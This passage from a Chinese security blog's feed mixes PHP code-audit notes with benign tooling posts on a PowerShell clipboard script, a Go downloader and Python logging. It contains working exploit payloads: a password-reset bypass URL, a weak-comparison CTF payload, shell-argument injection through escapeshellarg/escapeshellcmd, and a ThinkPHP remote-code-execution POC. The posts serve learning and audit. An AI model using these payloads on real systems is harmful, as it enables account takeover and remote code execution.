            exit;
        }
        showmsg('对不起，临时密码错误', '-1');
        exit;
    }
</code></pre>
<p><strong>如果key等于$row[&#8216;pwd&#8217;]，则重置密码成功</strong></p>
<h4>漏洞验证</h4>
<ul>
<li>访问重置密码链接获取key</li>
</ul>
<pre><code class="">member/resetpassword.php?dopost=safequestion&amp;safequestion=0.0&amp;safeanswer=&amp;id=3
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200312150736.png" alt="" /></p>
<ul>
<li>重置密码</li>
</ul>
<pre><code class="">member/resetpassword.php?dopost=getpasswd&amp;id=3&amp;key=VeRkLvEU
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200312150922.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200312160331.png" alt="" /></p>
<ul>
<li>buy.php</li>
</ul>
<pre><code class="">&lt;script type="text/javascript" src="js/buy.js"&gt;&lt;/script&gt;
</code></pre>
<ul>
<li>bug.js</li>
</ul>
<pre><code class="">function buy(){
    $('#wait').show();
    $('#result').hide();
    var input = $('#numbers')[0];
    if(input.validity.valid){
        var numbers = input.value;
        $.ajax({
          method: "POST",
          url: "api.php",
          dataType: "json",
          contentType: "application/json", 
          data: JSON.stringify({ action: "buy", numbers: numbers })
        }).done(function(resp){
            if(resp.status == 'ok'){
                show_result(resp);
            } else {
                alert(resp.msg);
            }
        })
    } else {
        alert('invalid');
    }
    $('#wait').hide();
}
</code></pre>
<p><strong>将用户提交的数字传入到api.php的buy函数</strong></p>
<ul>
<li>api.php</li>
</ul>
<pre><code class="">    for($i=0; $i&lt;7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
</code></pre>
<p><strong>由于是==，可进行弱类型比较，传入7个true</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">[true,true,true,true,true,true,true]
</code></pre>
<ul>
<li>购买flag</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200312171526.png" alt="" /></p>
<h2>escapeshellarg与escapeshellcmd使用不当</h2>
<p><strong>escapeshellcmd: 除去字串中的特殊符号</strong><br />
<strong>escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数</strong></p>
<h3>postcard</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="">class Mailer {
  private function sanitize($email) {
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
      return '';
    }

    return escapeshellarg($email);
  }

  public function send($data) {
    if (!isset($data['to'])) {
      $data['to'] = 'none@ripstech.com';
    } else {
      $data['to'] = $this-&gt;sanitize($data['to']);
    }

    if (!isset($data['from'])) {
      $data['from'] = 'none@ripstech.com';
    } else {
      $data['from'] = $this-&gt;sanitize($data['from']);
    }

    if (!isset($data['subject'])) {
      $data['subject'] = 'No Subject';
    }

    if (!isset($data['message'])) {
      $data['message'] = '';
    }

    mail($data['to'], $data['subject'], $data['message'],
      '', "-f" . $data['from']);
  }
}

$mailer = new Mailer();
$mailer-&gt;send($_POST);
</code></pre>
<p><strong>新建一个MAil类进行邮件发送</strong></p>
<ul>
<li>Php内置函数mail</li>
</ul>
<pre><code class="">bool mail (
    string $to , 接收人
    string $subject , 邮件标题
    string $message [, 征文
    string $additional_headers [, 额外头部
    string $additional_parameters ]] 额外参数
)
</code></pre>
<ul>
<li>Linux中的额外参数</li>
</ul>
<pre><code class="">-O option = value

QueueDirectory = queuedir 选择队列消息

-X logfile

这个参数可以指定一个目录来记录发送邮件时的详细日志情况。

-f from email

这个参数可以让我们指定我们发送邮件的邮箱地址。
</code></pre>
<ul>
<li>举个例子（原文图）</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200429165336.png" alt="" /></p>
<ul>
<li>结果</li>
</ul>
<pre><code class="">17220 &lt;&lt;&lt; To: Alice@example.com
 17220 &lt;&lt;&lt; Subject: Hello Alice!
 17220 &lt;&lt;&lt; X-PHP-Originating-Script: 0:test.php
 17220 &lt;&lt;&lt; CC: somebodyelse@example.com
 17220 &lt;&lt;&lt;
 17220 &lt;&lt;&lt; &lt;?php phpinfo(); ?&gt;
 17220 &lt;&lt;&lt; [EOF]
</code></pre>
<ul>
<li>filter_var()问题（FILTER_VALIDATE_EMAIL）</li>
</ul>
<blockquote><p>
  filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
</p></blockquote>
<pre><code class="">”aaa’aaa”@example.com
</code></pre>
<ul>
<li>escapeshellcmd() 和 escapeshellarg()（会造成特殊字符逃逸）</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200429180904.png" alt="" /></p>
<ul>
<li>逃逸过程分析</li>
</ul>
<pre><code class="">$param = "127.0.0.1' -v -d a=1";
$a = escapeshellcmd($param);
$b = escapeshellarg($a);
$cmd = "curl".$b;
var_dump($a)."n";
var_dump($b)."n";
var_dump($cmd)."n";
system($cmd);
</code></pre>
<p><strong>传入127.0.0.1&#8242; -v -d a=1，escapeshellarg首先进行转义，处理为&#8217;127.0.0.1&#8221;&#8217; -v -d a=1&#8217;，接着escapeshellcmd处理，处理结果为&#8217;127.0.0.1&#8217;&#92;&#8221; -v -d a=1&#8242;,&#92; 被解释成了  而不再是转义字符</strong></p>
<h4>参考</h4>
<pre><code class="">https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html
</code></pre>
<h2>Tips整理</h2>
<ul>
<li>in_array</li>
</ul>
<pre><code class="">第三个参数未设置为true,可利用弱类型比较绕过
</code></pre>
<ul>
<li>filter_var（url过滤）</li>
</ul>
<pre><code class="">未对协议进行校验，可利用xxx://绕过
</code></pre>
<ul>
<li>class_exists</li>
</ul>
<pre><code class="">当存在__autoload函数，会自动调用，如果类名可控，可造成危害，如果参数也可控，可利用内部函数进行攻击。
</code></pre>
<ul>
<li>strpos</li>
</ul>
<pre><code class="">strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0
</code></pre>
<ul>
<li>filter_var (FILTER_VALIDATE_EMAIL)</li>
</ul>
<pre><code class="">filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
”aaa’aaa”@example.com
</code></pre>
<ul>
<li>escapeshellarg与escapeshellcmd</li>
</ul>
<pre><code class="">escapeshellarg与escapeshellcmd配合使用会存在绕过
</code></pre>
<ul>
<li>尾声</li>
</ul>
<p>本系列是弟弟跟着红日安全产出的代码审计教程系列学习的，原项目地址：[PHP-Audit-Labs]</p>
<p>(https://github.com/hongriSec/PHP-Audit-Labs)</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>使用powershell导出剪切板图片</title>
		<link>/tools/681.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 30 Jul 2019 01:51:16 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[图床]]></category>
		<guid isPermaLink="false">/?p=681</guid>

					<description><![CDATA[怎么导出QQ截图的图片到指定位置呢？powershell来帮你 我是一个喜欢记笔记写文章的菜鸡，而使用markdown记笔记最蛋疼的就是图片的存储问题，刚开始使用的是PicGo，可...]]></description>
										<content:encoded><![CDATA[<p>怎么导出QQ截图的图片到指定位置呢？<span class="wpcom_tag_link"><a href="/tags/powershell" title="powershell" target="_blank">powershell</a></span>来帮你</p>
<p>我是一个喜欢记笔记写文章的菜鸡，而使用markdown记笔记最蛋疼的就是图片的存储问题，刚开始使用的是<a href="https://github.com/Molunerfinn/PicGo">PicGo</a>，可以直接截图然后粘贴就是markdown的图片语法，但是使用的是第三方的<span class="wpcom_tag_link"><a href="/tags/%e5%9b%be%e5%ba%8a" title="图床" target="_blank">图床</a></span>。</p>
<p>而我自己原来用第三方图床也就是新浪的图床，后来新浪一波防盗链把我搞得<del>骂骂咧咧</del>措手不及，想了想，图片还是掌握在自己手中比较好，于是就有了本文。</p>
<h1>借助PicGo搞插件？</h1>
<p>刚好自己搭了一个图床http://static.chabug.org/ ，想着参考PicGo的思路，自己写一个插件，然后实现截图 快捷键 粘贴 一套操作，岂不是美滋滋？后来看到了PicGo需要装nodejs才能用插件，再想想nodejs的依赖和蛇皮语法，直接实力劝退，不了了之。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/python" title="python" target="_blank">python</a></span>自己造轮子</h1>
<p>国光师傅写过一篇<a href="https://www.sqlsec.com/2018/06/img.html">Python 编写一个免费简单的图床上传工具二</a>，但是编写思路是采用<code>xclip</code>来操作<code>ubuntu</code>下的剪切板，而苦逼windows党不配这样操作。随卒。</p>
<h1>参考PicGo自己撸</h1>
<p>研究到这一步，实际上最关键的问题在于win下怎么去导出剪切板中的图片。百度谷歌了很多文章，发现都是牛头不照马尾，在此过程中我把PicGo作者的博客翻烂了，发现PicGo作者获取剪切板的图片采用的是命令行调用 https://github.com/PicGo/PicGo-Core/blob/dev/src/utils/clipboard/windows10.ps1 这个脚本。在第一行定义了最关键的项目https://github.com/octan3/img-clipboard-dump。这个就是我们想要的东西！</p>
<p>那么我们的问题就解决了！</p>
<p>看下<strong>dump-clipboard-png.ps1</strong></p>
<pre><code class="language-powershell ">Add-Type -Assembly PresentationCore
$img = [Windows.Clipboard]::GetImage()
if ($img -eq $null) {
    Write-Host "Clipboard contains no image."
    Exit
}

$fcb = new-object Windows.Media.Imaging.FormatConvertedBitmap($img, [Windows.Media.PixelFormats]::Rgb24, $null, 0)
$file = "{0}\clipboard-{1}.png" -f [Environment]::GetFolderPath('MyPictures'),((Get-Date -f s) -replace '[-T:]','')
Write-Host ("`n Found picture. {0}x{1} pixel. Saving to {2}`n" -f $img.PixelWidth, $img.PixelHeight, $file)

$stream = [IO.File]::Open($file, "OpenOrCreate")
$encoder = New-Object Windows.Media.Imaging.PngBitmapEncoder
$encoder.Frames.Add([Windows.Media.Imaging.BitmapFrame]::Create($fcb))
$encoder.Save($stream)
$stream.Dispose()

&amp; explorer.exe /select,$file
</code></pre>
<p>首先获取剪切板的图片，如果没图片就exit，然后新建一个位图对象，新建一个file变量当作文件名，从环境变量中拿到MyPictures的路径，然后写入图片。</p>
<p>相对我们想实现的效果还差一步就是直接向剪切板写入markdown格式的图片链接。我在这放出来我修改之后的脚本。(注意修改路径)</p>
<pre><code class="language-powershell ">Add-Type -Assembly PresentationCore
$img = [Windows.Clipboard]::GetImage()
if ($img -eq $null) {
    Write-Host "Clipboard contains no image."
    Exit
}

$fcb = new-object Windows.Media.Imaging.FormatConvertedBitmap($img, [Windows.Media.PixelFormats]::Rgb24, $null, 0)
$filename = ((Get-Date -f s) -replace '[-T:]','')
$file = "E:/work/myblog/static/img/uploads/{0}.png" -f $filename
Write-Host ("`n Found picture. {0}x{1} pixel. Saving to {2}`n" -f $img.PixelWidth, $img.PixelHeight, $file)

$stream = [IO.File]::Open($file, "OpenOrCreate")
$encoder = New-Object Windows.Media.Imaging.PngBitmapEncoder
$encoder.Frames.Add([Windows.Media.Imaging.BitmapFrame]::Create($fcb))
$encoder.Save($stream)
$stream.Dispose()

$str =  "![{0}](/img/uploads/{1}.png)" -f $filename,$filename
[Windows.Clipboard]::SetText($str)
</code></pre>
<p>然后把<code>dump-clipboard-png.cmd</code>改名为<code>png.cmd</code>和<code>png.ps1</code>放到环境变量里，截图，cmd运行<code>png</code>，那么你的剪切板就会写入一个markdown格式的图片咯。并且图片保存在了你的本地。</p>
<h1>进一步操作</h1>
<p>到现在我们基本的效果已经实现了，不过还是差一点，怎么去实现按下快捷键就导出图片到我们指定的位置呢？参考国光师傅的代码已经写的很清楚了。</p>
<p>https://github.com/sqlsec/imageMD/blob/master/imageMD.py</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>golang实现的wget</title>
		<link>/tools/645.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 24 Jan 2019 07:09:17 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[go]]></category>
		<category><![CDATA[golang]]></category>
		<category><![CDATA[wget]]></category>
		<guid isPermaLink="false">/?p=645</guid>

					<description><![CDATA[效果 代码 package main import ( "fmt" "io" "net/http" "os" ) var url, path string func main() ...]]></description>
										<content:encoded><![CDATA[<h3 id="效果">效果</h3>
<p><a class="fancybox" href="https://ws1.sinaimg.cn/large/006xriynly1fzhoflct09j30mk069aa7.jpg" data-fancybox="gallery" data-caption=""><img src="https://ws1.sinaimg.cn/large/006xriynly1fzhoflct09j30mk069aa7.jpg" alt="实现效果" /></a></p>
<h3 id="代码"><i class="iconfont icon-link"></i>代码</h3>
<pre class="lang:default decode:true">package main

import (
	"fmt"
	"io"
	"net/http"
	"os"
)

var url, path string

func main() {
	if len(os.Args) != 3 {
		fmt.Println("usage:wget.exe http://Y4er.com/cmd.exe cmd.exe")
		os.Exit(0)
	}
	url, path = os.Args[1], os.Args[2]
	fmt.Println("你要下载的文件是：" + url)
	fmt.Println("将要保存到：" + path)
	Download(url, path)
}
func Download(url string, path string) {
	out, err := os.Create(path)
	check(err)
	defer out.Close()

	res, err := http.Get(url)
	check(err)
	defer res.Body.Close()

	_, err = io.Copy(out, res.Body)
	check(err)
	fmt.Println("保存成功，自行检查" + path)
}
func check(err error) {
	if err != nil {
		panic(err)
	}
}</pre>
<p>编译好的win64位下载链接：<a href="http://y4er.com/file/go-wget.exe">http://Y4er.com/file/go-wget.exe</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Thinkphp5.1 ~ 5.2 全版本代码执行</title>
		<link>/web/643.html</link>
					<comments>/web/643.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 15 Jan 2019 08:02:21 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[thinkphp]]></category>
		<category><![CDATA[代码执行]]></category>
		<guid isPermaLink="false">/?p=643</guid>

					<description><![CDATA[序言 最近爆出了Thinkphp5.0.*全版本代码执行，其中5.1与5.2全版本在生产环境下下同样也存在代码执行 漏洞分析： 文件位置：\thinkphp\library\thi...]]></description>
										<content:encoded><![CDATA[<h3>序言</h3>
<p>最近爆出了Thinkphp5.0.*全版本<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c" title="代码执行" target="_blank">代码执行</a></span>，其中5.1与5.2全版本在<strong>生产环境下</strong>下同样也存在代码执行</p>
<hr />
<h3>漏洞分析：</h3>
<p>文件位置：\<span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span>\library\think\Request.php</p>
<pre class="lang:default decode:true prettyprint prettyprinted ">    /**
     * 当前的请求类型
     * @access public
     * @param  bool $origin  是否获取原始请求类型
     * @return string
     */
    public function method($origin = false)
    {
        if ($origin) {
            // 获取原始请求类型
            return $this-&gt;server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this-&gt;method) {
            if (isset($_POST[$this-&gt;config['var_method']])) {
                $this-&gt;method    = strtoupper($_POST[$this-&gt;config['var_method']]);
                $method          = strtolower($this-&gt;method);
                $this-&gt;{$method} = $_POST;
            } elseif ($this-&gt;server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
                $this-&gt;method = strtoupper($this-&gt;server('HTTP_X_HTTP_METHOD_OVERRIDE'));
            } else {
                $this-&gt;method = $this-&gt;server('REQUEST_METHOD') ?: 'GET';
            }
        }

        return $this-&gt;method;
    }</pre>
<p>其中：</p>
<pre class="lang:default decode:true prettyprint prettyprinted">$this-&gt;method    = strtoupper($_POST[$this-&gt;config['var_method']]);
$method          = strtolower($this-&gt;method);
$this-&gt;{$method} = $_POST;</pre>
<p>$method变量是$this-&gt;method，其同等于POST的”_method”参数值</p>
<p>然后该处存在一个变量覆盖</p>
<p>我们可以覆盖 $filter 属性值(POC如下)</p>
<pre class="lang:default decode:true prettyprint prettyprinted">c=exec&amp;f=calc.exe&amp;&amp;_method=filter&amp;</pre>
<p>访问如下图所示：</p>
<p><img src="http://boomeye.com/statics/wordpress/1.png" alt="1547216389386" /></p>
<p>会爆出一个警告级别的异常，导致程序终止</p>
<h3>如何触发：</h3>
<p>如果设置忽略异常提示，如下图：</p>
<p><img src="http://boomeye.com/statics/wordpress/2.png" alt="1547216439115" /></p>
<p>本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置</p>
<h3>Payload（POST请求）:</h3>
<p><img src="http://boomeye.com/statics/wordpress/3.png" alt="1547216479219" /></p>
<p>弹出计算器</p>
]]></content:encoded>
					
					<wfw:commentRss>/web/643.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Python模块学习之Logging日志模块</title>
		<link>/code/640.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 13 Jan 2019 07:04:57 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<category><![CDATA[logging]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">/?p=640</guid>

					<description><![CDATA[最近一直想自己的批量框架，参考了POC-T框架和sqlmap的框架结构，发现logging模块被大量用来处理控制台输出以及日志记录，鉴于我自己也要写框架，那么本文就记录下我的log...]]></description>
										<content:encoded><![CDATA[<p class="md-end-block" contenteditable="true"><span class="">最近一直想自己的批量框架，参考了POC-T框架和sqlmap的框架结构，发现<span class="wpcom_tag_link"><a href="/tags/logging" title="logging" target="_blank">logging</a></span>模块被大量用来处理控制台输出以及日志记录，鉴于我自己也要写框架，那么本文就记录下我的logging模块学习记录。</span></p>
<h1 class="md-end-block md-heading" contenteditable="true"><span class="">为什么需要logging</span></h1>
<p class="md-end-block" contenteditable="true"><span class="">在开发过程中，如果程序出现了问题，我们可以使用编辑器的Debug模式来检查bug，但是在发布之后，我们的程序相当于在一个黑盒状态去运行，我们只能看到运行效果，可是程序难免出错，这种情况的话我们就需要日志模块来记录程序当前状态、时间状态、错误状态、标准输出等，这样不论是正常运行还是出现报错，都有记录，我们可以针对性的快速排查问题。</span></p>
<p class="md-end-block" contenteditable="true">因此，日志记录对于程序的运行状态以及debug都起到了很高效的作用。如果一个程序没有标准的日志记录，就不能算作一个合格的开发者。</p>
<h1 class="md-end-block md-heading" contenteditable="true">logging和print的对比</h1>
<ul class="ul-list" data-mark="-">
<li class="md-list-item">
<p class="md-end-block" contenteditable="true"><span class="">logging对输出进行了分级，print没有</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block" contenteditable="true">logging具有更灵活的格式化功能，比如运行时间、模块信息</p>
</li>
<li class="md-list-item">
<p class="md-end-block" contenteditable="true">print输出都在控制台上，logging可以输出到任何位置，比如文件甚至是远程服务器</p>
</li>
</ul>
<h1 class="md-end-block md-heading" contenteditable="true">logging的结构拆分</h1>
<figure class="md-table-fig" contenteditable="false">
<table class="md-table">
<thead>
<tr class="md-end-block">
<th><span class="td-span" contenteditable="true">模块</span></th>
<th><span class="td-span" contenteditable="true">用途</span></th>
</tr>
</thead>
<tbody>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">Logger</span></td>
<td><span class="td-span" contenteditable="true">记录日志时创建的对象，调用其方法来传入日志模板和信息生成日志记录</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">Log Record</span></td>
<td><span class="td-span" contenteditable="true">Logger对象生成的一条条记录</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">Handler</span></td>
<td><span class="td-span" contenteditable="true">处理日志记录，输出或者存储日志记录</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">Formatter</span></td>
<td><span class="td-span" contenteditable="true">格式化日志记录</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">Filter</span></td>
<td><span class="td-span" contenteditable="true">日志过滤器</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">Parent Handler</span></td>
<td><span class="td-span" contenteditable="true">Handler之间存在分层关系</span></td>
</tr>
</tbody>
</table>
</figure>
<h1 class="md-end-block md-heading" contenteditable="true">简单的实例</h1>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">import logging
​
logger = logging.getLogger("Your Logger")
logger.setLevel(logging.DEBUG)
handler = logging.StreamHandler()
formatter = logging.Formatter(fmt='%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%Y/%m/%d %H:%M:%S')
handler.setFormatter(formatter)
logger.addHandler(handler)
​
logger.info("this is info msg")
logger.debug("this is debug msg")
logger.warning("this is warn msg")
logger.error("this is error msg")</pre>
<p class="md-end-block" contenteditable="true">输出</p>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">2019/01/13 13:21:17 - Your Logger - INFO - this is info msg
2019/01/13 13:21:17 - Your Logger - DEBUG - this is debug msg
2019/01/13 13:21:17 - Your Logger - WARNING - this is warn msg
2019/01/13 13:21:17 - Your Logger - ERROR - this is error msg</pre>
<p class="md-end-block" contenteditable="true">我们来理解下这个实例。</p>
<p class="md-end-block" contenteditable="true">首先创建了一个<span spellcheck="false"><code>logger</code></span>对象作为生成日志记录的对象，然后设置输出级别为<span spellcheck="false"><code>DEBUG</code></span>，然后创建了一个<span spellcheck="false"><code>StreamHandler</code></span>对象<span spellcheck="false"><code>handler</code></span>，来处理日志，随后创建了一个<span spellcheck="false"><code>formatter</code></span>对象来格式化输出日志记录，然后把<span spellcheck="false"><code>formatter</code></span>赋给<span spellcheck="false"><code>handler</code></span>，最后把<span spellcheck="false"><code>handler</code></span>处理器添加到我们的<span spellcheck="false"><code>logger</code></span>对象中，完成了整个处理流程。</p>
<p class="md-end-block" contenteditable="true">知道整个流程之后我们来看一些细的东西。</p>
<h2 class="md-end-block md-heading" contenteditable="true">Level</h2>
<p class="md-end-block" contenteditable="true"><span class="" spellcheck="false"><code>logging</code></span>模块中自带了几个日志级别</p>
<figure class="md-table-fig" contenteditable="false">
<table class="md-table">
<thead>
<tr class="md-end-block">
<th><span class="td-span" contenteditable="true">等级</span></th>
<th><span class="td-span" contenteditable="true">数值</span></th>
<th><span class="td-span" contenteditable="true">对应方法</span></th>
</tr>
</thead>
<tbody>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">CRITICAL</span></td>
<td><span class="td-span" contenteditable="true">50</span></td>
<td><span class="td-span" contenteditable="true">logger.critical(&#8220;msg&#8221;)</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">FATAL</span></td>
<td><span class="td-span" contenteditable="true">50</span></td>
<td><span class="td-span" contenteditable="true">logger.fatal(&#8220;msg&#8221;)</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">ERROR</span></td>
<td><span class="td-span" contenteditable="true">40</span></td>
<td><span class="td-span" contenteditable="true">logger.error(&#8220;msg&#8221;)</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">WARNING</span></td>
<td><span class="td-span" contenteditable="true">30</span></td>
<td><span class="td-span" contenteditable="true">logger.warning(&#8220;msg&#8221;)</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">WARN</span></td>
<td><span class="td-span" contenteditable="true">30</span></td>
<td><span class="td-span" contenteditable="true"><del>logger.warn(&#8220;msg&#8221;)</del>废弃</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">INFO</span></td>
<td><span class="td-span" contenteditable="true">20</span></td>
<td><span class="td-span" contenteditable="true">logger.info(&#8220;msg&#8221;)</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">DEBUG</span></td>
<td><span class="td-span" contenteditable="true">10</span></td>
<td><span class="td-span" contenteditable="true">logger.debug(&#8220;msg&#8221;)</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">NOTSET</span></td>
<td><span class="td-span" contenteditable="true">0</span></td>
<td><span class="td-span" contenteditable="true">无</span></td>
</tr>
</tbody>
</table>
</figure>
<p class="md-end-block" contenteditable="true">在我们的实例中我们设置了输出级别为<span class="" spellcheck="false"><code>DEBUG</code></span></p>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">logger.setLevel(logging.DEBUG)</pre>
<p class="md-end-block" contenteditable="true">那么在<span class="" spellcheck="false"><code>DEBUG</code></span><span class="">级别之下的也就是</span><span spellcheck="false"><code>NOTSET</code></span>级别的不会被输出。</p>
<p class="md-end-block" contenteditable="true">如果我们把级别设置为<span spellcheck="false"><code>INFO</code></span>，那么我们实例的输出应该是</p>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">2019/01/13 13:21:17 - Your Logger - INFO - this is info msg
2019/01/13 13:21:17 - Your Logger - WARNING - this is warn msg
2019/01/13 13:21:17 - Your Logger - ERROR - this is error msg</pre>
<p class="md-end-block" contenteditable="true">只会输出比INFO级别高的日志。</p>
<h2 class="md-end-block md-heading" contenteditable="true">Handler</h2>
<p class="md-end-block" contenteditable="true"><span class="">logging提供的Handler有很多，我简单列举几种</span></p>
<figure class="md-table-fig" contenteditable="false">
<table class="md-table">
<thead>
<tr class="md-end-block">
<th><span class="td-span" contenteditable="true">种类</span></th>
<th><span class="td-span" contenteditable="true">位置</span></th>
<th><span class="td-span" contenteditable="true"><span class="">用途</span></span></th>
</tr>
</thead>
<tbody>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">StreamHandler</span></td>
<td><span class="td-span" contenteditable="true">logging.StreamHandler</span></td>
<td><span class="td-span" contenteditable="true">日志输出到流，可以是 sys.stderr，sys.stdout 或者文件</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">FileHandler</span></td>
<td><span class="td-span" contenteditable="true">logging.FileHandler</span></td>
<td><span class="td-span" contenteditable="true">日志输出到文件</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">SMTPHandler</span></td>
<td><span class="td-span" contenteditable="true">logging.handlers.SMTPHandler</span></td>
<td><span class="td-span" contenteditable="true">远程输出日志到邮件地址</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">SysLogHandler</span></td>
<td><span class="td-span" contenteditable="true">logging.handlers.SysLogHandler</span></td>
<td><span class="td-span" contenteditable="true">日志输出到syslog</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">HTTPHandler</span></td>
<td><span class="td-span" contenteditable="true">logging.handlers.HTTPHandler</span></td>
<td><span class="td-span" contenteditable="true">通过”GET”或者”POST”远程输出到HTTP服务器</span></td>
</tr>
</tbody>
</table>
</figure>
<h2 class="md-end-block md-heading" contenteditable="true">Formatter</h2>
<p class="md-end-block" contenteditable="true">fmt参数和datefmt两个参数分别对应日志记录的格式化和时间的格式化。</p>
<p class="md-end-block" contenteditable="true">fmt可用的占位符简单列举几种，更多请参考<span class=" md-link"><a spellcheck="false" href="https://docs.python.org/3/library/logging.html?highlight=logging%20threadname#logrecord-attributes">这里</a></span></p>
<figure class="md-table-fig" contenteditable="false">
<table class="md-table">
<thead>
<tr class="md-end-block">
<th><span class="td-span" contenteditable="true"><span class="">占位符</span></span></th>
<th><span class="td-span" contenteditable="true">作用</span></th>
</tr>
</thead>
<tbody>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">%(levelname)s</span></td>
<td><span class="td-span" contenteditable="true">打印日志级别的名称</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">%(pathname)s</span></td>
<td><span class="td-span" contenteditable="true">打印当前执行程序的路径，其实就是sys.argv[0]。</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">%(filename)s</span></td>
<td><span class="td-span" contenteditable="true"><span class="">打印当前执行程序名。</span></span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">%(funcName)s</span></td>
<td><span class="td-span" contenteditable="true">打印日志的当前函数。</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">%(lineno)d</span></td>
<td><span class="td-span" contenteditable="true">打印日志的当前行号。</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">%(asctime)s</span></td>
<td><span class="td-span" contenteditable="true">打印日志的时间。</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">%(thread)d</span></td>
<td><span class="td-span" contenteditable="true">打印线程ID。</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">%(threadName)s</span></td>
<td><span class="td-span" contenteditable="true">打印线程名称。</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">%(process)d</span></td>
<td><span class="td-span" contenteditable="true">打印进程ID。</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">%(processName)s</span></td>
<td><span class="td-span" contenteditable="true">打印线程名称。</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">%(module)s</span></td>
<td><span class="td-span" contenteditable="true">打印模块名称。</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">%(message)s</span></td>
<td><span class="td-span" contenteditable="true">打印日志信息。</span></td>
</tr>
</tbody>
</table>
</figure>
<h1 class="md-end-block md-heading" contenteditable="true">捕获Traceback</h1>
